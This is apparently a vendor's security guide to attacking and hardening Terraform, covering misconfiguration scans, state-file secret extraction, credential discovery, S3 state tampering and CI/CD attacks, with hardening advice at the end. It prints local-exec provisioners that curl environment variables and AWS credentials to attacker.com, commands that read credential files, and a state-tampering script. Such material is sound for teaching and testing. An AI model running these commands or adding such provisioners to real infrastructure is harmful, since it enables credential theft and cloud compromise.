Terraform Security Testing: IaC Misconfiguration, State File Attacks, and Provider Credential Theft

Terraform defines cloud infrastructure in code — making it a high-value attack surface. A single misconfigured module can expose storage buckets, overprivileged IAM roles, or unencrypted databases at scale. This guide covers the complete Terraform attack surface: scanning HCL for misconfigurations, extracting secrets from state files, stealing provider credentials, poisoning public modules, and attacking remote backends.

Table of Contents

  1. Terraform's Attack Surface
  2. IaC Misconfiguration Scanning
  3. State File Secret Extraction
  4. Provider Credential Theft
  5. Remote Backend Attacks
  6. Module Supply Chain Risks
  7. CI/CD Pipeline Attacks
  8. Hardening and Remediations

Terraform's Attack Surface

Terraform manages infrastructure through three primary artifacts — each with distinct security implications:

ArtifactAttack VectorRisk Level
.tf filesHardcoded secrets, misconfigured resources, insecure defaultsHigh
State file (terraform.tfstate)Plaintext secrets, sensitive outputs, resource metadataCritical
Provider credentialsEnvironment variables, ~/.aws/credentials, Vault tokensCritical
Remote backendsS3 bucket ACLs, Terraform Cloud tokens, backend state accessHigh
Public modulesSupply chain compromise, typosquatting, malicious providersMedium

The most critical asset is the state file. Terraform stores every attribute of every managed resource — including RDS passwords, IAM access keys, and TLS private keys — in plaintext JSON.

IaC Misconfiguration Scanning

Static analysis of Terraform code identifies insecure resource configurations before deployment. Several tools specialize in HCL analysis.

tfsec

tfsec performs static analysis across all major cloud providers:

# Install tfsec
brew install tfsec

# Scan current directory
tfsec .

# Output as JSON for CI integration
tfsec . --format json --out tfsec-results.json

# Scan with specific severity threshold
tfsec . --minimum-severity HIGH

# Check specific provider rules
tfsec . --include-ignored --filter-results aws-s3-enable-bucket-logging

Critical findings to look for:

Checkov

Checkov scans Terraform, CloudFormation, Kubernetes manifests, and ARM templates:

# Install checkov
pip install checkov

# Scan Terraform directory
checkov -d /path/to/terraform --framework terraform

# Scan with custom policies
checkov -d . --external-checks-dir ./custom_checks/

# Generate SARIF output for GitHub Advanced Security
checkov -d . --output sarif --output-file checkov.sarif

# Run only high/critical checks
checkov -d . --check CKV_AWS_18,CKV_AWS_19,CKV_AWS_21

# Suppress known false positives
checkov -d . --skip-check CKV_AWS_144

Manual Misconfiguration Patterns

Automated scanners miss logic-level misconfigurations. Look for these manually:

# Find hardcoded secrets in .tf files
grep -rE "(password|secret|api_key|token|private_key)\s*=\s*\"[^$]" *.tf

# Find overly permissive security groups
grep -A5 "aws_security_group_rule" *.tf | grep "0.0.0.0/0"

# Find public S3 buckets
grep -A10 "aws_s3_bucket" *.tf | grep "public"

# Find unencrypted EBS volumes
grep -A5 "aws_ebs_volume" *.tf | grep -v "encrypted\s*=\s*true"

# Find IAM policies with wildcards
grep -rE '"Action":\s*"\*"' *.tf
grep -rE '"Resource":\s*"\*"' *.tf
Critical: Terraform variables marked sensitive = true are redacted from logs but still stored in state. Sensitive marking provides no protection against state file compromise.

State File Secret Extraction

The Terraform state file is the most dangerous artifact in an IaC deployment. It stores every resource attribute in plaintext JSON — including secrets that would never appear in application code.

What's in the State File

# Common secrets stored in terraform.tfstate
cat terraform.tfstate | python3 -c "
import json, sys
state = json.load(sys.stdin)
for res in state.get('resources', []):
    for inst in res.get('instances', []):
        attrs = inst.get('attributes', {})
        for k, v in attrs.items():
            if any(s in k.lower() for s in ['password', 'secret', 'key', 'token', 'cert', 'private']):
                print(f'{res[\"type\"]}.{res[\"name\"]}.{k} = {str(v)[:100]}')
"

Typical findings include:

Extracting Secrets from State

# Extract all string values containing likely secrets
cat terraform.tfstate | jq -r '
  .. | objects | to_entries[] |
  select(.key | test("password|secret|key|token|credential"; "i")) |
  "\(.key): \(.value)"
' 2>/dev/null | head -50

# Target specific resource types
cat terraform.tfstate | jq -r '
  .resources[] |
  select(.type == "aws_db_instance") |
  .instances[].attributes |
  {username, password, endpoint, db_name}
'

# Extract Kubernetes cluster credentials
cat terraform.tfstate | jq -r '
  .resources[] |
  select(.type == "aws_eks_cluster") |
  .instances[].attributes |
  {name, endpoint, "ca_data": .certificate_authority[0].data, token}
'

Remote State Discovery

State files stored in S3 are a common target. Misconfigured bucket policies expose them to any authenticated AWS principal:

# Check if S3 backend bucket is readable
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/production/terraform.tfstate /tmp/

# Enumerate all state files in a bucket
aws s3 ls s3://terraform-state-bucket/ --recursive | grep ".tfstate"

# Check DynamoDB lock table for active operations (reveals infrastructure targets)
aws dynamodb scan --table-name terraform-state-locks \
  --projection-expression "LockID,Info,Operation"

# Terraform Cloud — enumerate workspaces if API token is known
curl -s https://app.terraform.io/api/v2/organizations/ORG/workspaces \
  -H "Authorization: Bearer $TFC_TOKEN" | jq '.data[].attributes.name'

# Download state from Terraform Cloud workspace
curl -s "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" \
  -H "Authorization: Bearer $TFC_TOKEN" | jq -r '.data.attributes."hosted-state-download-url"'

Provider Credential Theft

Terraform providers authenticate to cloud APIs using credentials that, if stolen, grant the same permissions as the service account running Terraform — often broad administrative access.

Credential Discovery

# Environment variables (most common in CI/CD)
printenv | grep -E "AWS_|GOOGLE_|ARM_|TF_VAR_"

# AWS credentials file
cat ~/.aws/credentials
cat ~/.aws/config

# GCP service account key files
find / -name "*.json" -exec grep -l "private_key_id" {} \; 2>/dev/null
find / -name "service_account*.json" 2>/dev/null

# Azure service principal credentials
find / -name "*.tfvars" 2>/dev/null | xargs grep -l "client_secret" 2>/dev/null
env | grep -E "ARM_CLIENT|ARM_SUBSCRIPTION|ARM_TENANT"

# Terraform Cloud tokens
cat ~/.terraform.d/credentials.tfrc.json
cat /root/.terraform.d/credentials.tfrc.json

tfvars File Enumeration

.tfvars files frequently contain secrets that should be in Vault or SSM:

# Find all .tfvars files
find . -name "*.tfvars" -o -name "*.tfvars.json" 2>/dev/null

# Check for secrets in tfvars
grep -rE "(password|secret|api_key|private_key|token)\s*=" *.tfvars 2>/dev/null

# Check git history for previously committed tfvars
git log --all --full-history -- "**/*.tfvars"
git log -p --all -- terraform.tfvars | grep "^+" | grep -iE "password|secret|key"

Terraform Cloud Token Abuse

Terraform Cloud API tokens provide access to all workspaces in an organization:

# Enumerate organization workspaces
TFC_TOKEN="YOUR_TOKEN"
ORG="your-org"

curl -s "https://app.terraform.io/api/v2/organizations/$ORG/workspaces?page[size]=100" \
  -H "Authorization: Bearer $TFC_TOKEN" | \
  jq -r '.data[] | "\(.id) \(.attributes.name) \(.attributes["terraform-version"])"'

# Read variables (including sensitive) from a workspace
WS_ID="ws-XXXXXXXX"
curl -s "https://app.terraform.io/api/v2/workspaces/$WS_ID/vars" \
  -H "Authorization: Bearer $TFC_TOKEN" | \
  jq -r '.data[] | "\(.attributes.key) = \(.attributes.value // "[SENSITIVE]") (sensitive: \(.attributes.sensitive))"'

# Trigger a speculative plan to exfiltrate provider credentials via a malicious module
curl -s -X POST "https://app.terraform.io/api/v2/runs" \
  -H "Authorization: Bearer $TFC_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  -d '{"data": {"attributes": {"is-destroy": false, "plan-only": true}, "relationships": {"workspace": {"data": {"type": "workspaces", "id": "'"$WS_ID"'"}}}, "type": "runs"}}'

Remote Backend Attacks

Terraform backends store state remotely. The most common — S3 — is frequently misconfigured.

S3 Backend Misconfiguration

# Check backend configuration for security issues
cat main.tf | grep -A20 'backend "s3"'

# Insecure backend config (no encryption, public ACL, no versioning)
# Look for missing: encrypt = true, server_side_encryption_configuration

# Check bucket public access block settings
aws s3api get-public-access-block --bucket terraform-state-bucket

# Check bucket policy allows cross-account access
aws s3api get-bucket-policy --bucket terraform-state-bucket | python3 -m json.tool

# Check if versioning is enabled (no versioning = state can be overwritten for lateral movement)
aws s3api get-bucket-versioning --bucket terraform-state-bucket

# Check server-side encryption
aws s3api get-bucket-encryption --bucket terraform-state-bucket

State Tampering Attack

An attacker with S3 write access can tamper with state to trigger malicious infrastructure changes on the next terraform apply:

# Download, modify, and re-upload state (requires S3 write access)
aws s3 cp s3://terraform-state/prod/terraform.tfstate /tmp/state.json

# Add a malicious resource to state or modify existing resource attributes
# Example: change security group rules to allow attacker IP
python3 -c "
import json
with open('/tmp/state.json') as f:
    state = json.load(f)
# Modify security group ingress to include attacker IP
for res in state['resources']:
    if res['type'] == 'aws_security_group_rule':
        for inst in res['instances']:
            inst['attributes']['cidr_blocks'] = ['0.0.0.0/0', '1.2.3.4/32']
with open('/tmp/state_modified.json', 'w') as f:
    json.dump(state, f)
"

aws s3 cp /tmp/state_modified.json s3://terraform-state/prod/terraform.tfstate
High Impact: State tampering is a persistent threat. The next terraform plan will show a drift; if engineers accept the "fix," they unknowingly apply attacker-controlled infrastructure changes.

Module Supply Chain Risks

Public Terraform modules from the registry are frequently used without pinning versions, creating supply chain risk.

Module Version Pinning Audit

# Find unpinned module versions (high risk)
grep -rn 'source\s*=\s*"' *.tf | grep -v "?ref=" | grep -v "version\s*="
grep -rn 'module\s' *.tf -A5 | grep -v "version"

# Dangerous patterns:
# module "vpc" {
#   source = "terraform-aws-modules/vpc/aws"  # No version pin!
# }

# Safe pattern:
# module "vpc" {
#   source  = "terraform-aws-modules/vpc/aws"
#   version = "5.1.2"  # Pinned
# }

Malicious Provider Detection

# Check provider sources (should use registry.terraform.io)
grep -rn 'source\s*=' .terraform/providers/ 2>/dev/null
grep -rn 'required_providers' *.tf -A10 | grep "source"

# Suspicious: non-official provider sources
# source = "github.com/attacker/malicious-aws-provider"

# Verify provider checksums
cat .terraform.lock.hcl | grep -A5 "provider"

# Check for provider hash mismatches
terraform providers lock -platform linux_amd64

git-Module Source Risks

# Modules loaded directly from git are not hash-verified
# source = "git::https://github.com/company/modules.git//vpc?ref=main"

# main branch reference is especially dangerous — attacker who compromises
# the upstream repo gets code execution on next terraform init/apply

# Audit git-sourced modules
grep -rn 'git::' *.tf | grep -v "?ref=v[0-9]"  # Non-tag refs
grep -rn 'github.com' *.tf | grep "?ref=main\|?ref=master"

CI/CD Pipeline Attacks

Terraform is almost always run inside CI/CD pipelines where provider credentials are injected as environment variables or secrets.

Pipeline Injection

# Vulnerable pattern: unsanitized variable passed to terraform
# GitHub Actions example:
# - run: terraform apply -var="instance_count=${{ github.event.inputs.count }}"
# Attacker input: "1\" \"-target=null_resource.malicious"

# Terraform plan output injection (when plan is stored as artifact)
# Malicious resource in a PR can exfiltrate secrets via plan output:
resource "null_resource" "exfil" {
  provisioner "local-exec" {
    command = "curl https://attacker.com/$(env | base64 -w0)"
  }
}

# This runs during terraform apply in CI, dumping all env vars (including credentials)

Extracting Credentials from CI Environment

# In GitHub Actions, a malicious terraform provisioner can read all secrets:
resource "null_resource" "steal" {
  provisioner "local-exec" {
    command = <<-EOT
      # Exfiltrate AWS credentials
      curl -s https://attacker.com/collect \
        -d "key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY&token=$AWS_SESSION_TOKEN"
      # Or grab the entire IMDS token if running on EC2
      TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
      CREDS=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
        -H "X-aws-ec2-metadata-token: $TOKEN")
      curl https://attacker.com/creds -d "$CREDS"
    EOT
  }
}

Detecting Malicious Modules in PRs

# Pre-apply checks for dangerous provisioners
grep -rn "local-exec\|remote-exec" . --include="*.tf" | grep -v "^#"
grep -rn "null_resource\|terraform_data" . --include="*.tf" -A10 | grep "provisioner"

# Check for external data sources with dangerous commands
grep -rn "external" . --include="*.tf" -A5 | grep "program"

# Run terraform plan in read-only mode before apply
terraform plan -lock=false -refresh=false  # Won't trigger provisioners

Hardening and Remediations

State File Security

# S3 backend with all security controls enabled
terraform {
  backend "s3" {
    bucket         = "company-terraform-state"
    key            = "prod/terraform.tfstate"
    region         = "eu-west-1"
    encrypt        = true          # Server-side encryption
    kms_key_id     = "arn:aws:kms:..."  # Customer-managed key
    dynamodb_table = "terraform-locks"  # State locking

    # Restrict access with bucket policy + IAM
    # Never allow public access
  }
}

# Enforce bucket policies
resource "aws_s3_bucket_public_access_block" "state" {
  bucket                  = aws_s3_bucket.terraform_state.id
  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

Secrets Management

# Use AWS SSM Parameter Store instead of tfvars
data "aws_ssm_parameter" "db_password" {
  name = "/prod/rds/master-password"
  with_decryption = true
}

resource "aws_db_instance" "main" {
  password = data.aws_ssm_parameter.db_password.value
}

# Use HashiCorp Vault for dynamic credentials
provider "vault" {}
data "vault_aws_access_credentials" "creds" {
  backend = "aws"
  role    = "my-role"
}

# Never store secrets in tfvars — use environment variables or Vault
# BAD:  db_password = "supersecret123"
# GOOD: db_password = var.db_password (injected via TF_VAR_db_password env var)

CI/CD Pipeline Hardening

# GitHub Actions — use OIDC instead of long-lived credentials
permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::ACCOUNT:role/TerraformCI
      aws-region: eu-west-1
      # Short-lived token, no stored credentials

# Restrict what the CI role can do
# IAM policy: only allow specific Terraform actions, not AdministratorAccess

# Block plan output from showing sensitive values
# terraform plan -out=tfplan && terraform show -json tfplan | \
#   jq 'del(.. | .sensitive_values?)' > safe_plan.json

Module Security Controls

# Always pin module versions
module "vpc" {
  source  = "terraform-aws-modules/vpc/aws"
  version = "= 5.1.2"  # Exact pin, not ">= 5.0"
}

# Use .terraform.lock.hcl and commit it to git
terraform providers lock \
  -platform=linux_amd64 \
  -platform=darwin_arm64

# Validate lock file integrity in CI
terraform init -lockfile=readonly  # Fails if lock file would change

# Use private module registry for internal modules
module "internal_vpc" {
  source  = "app.terraform.io/company/vpc/aws"
  version = "1.0.0"
}
Defense Summary: The three highest-impact controls are: (1) encrypt and restrict S3 state buckets with customer-managed KMS keys, (2) use OIDC-based short-lived credentials in CI instead of static IAM keys, and (3) pin all module versions and commit .terraform.lock.hcl to version control.

Terraform Security Testing Checklist

TestToolPriority
HCL misconfiguration scantfsec, CheckovHigh
State file secret extractionManual / jqCritical
S3 backend public access checkAWS CLICritical
Provider credential discoveryManual enumerationCritical
tfvars secret auditgrep, git logHigh
Module version pinning checkgrep, tfsecHigh
CI/CD provisioner reviewManual code reviewHigh
Terraform Cloud token scopeTFC APIMedium
Lock file integrityterraform init -lockfile=readonlyMedium

Automate Terraform Security Testing

Ironimo integrates tfsec and Checkov into automated scans, detects exposed state files, and alerts on IaC misconfigurations before they reach production.

Start free scan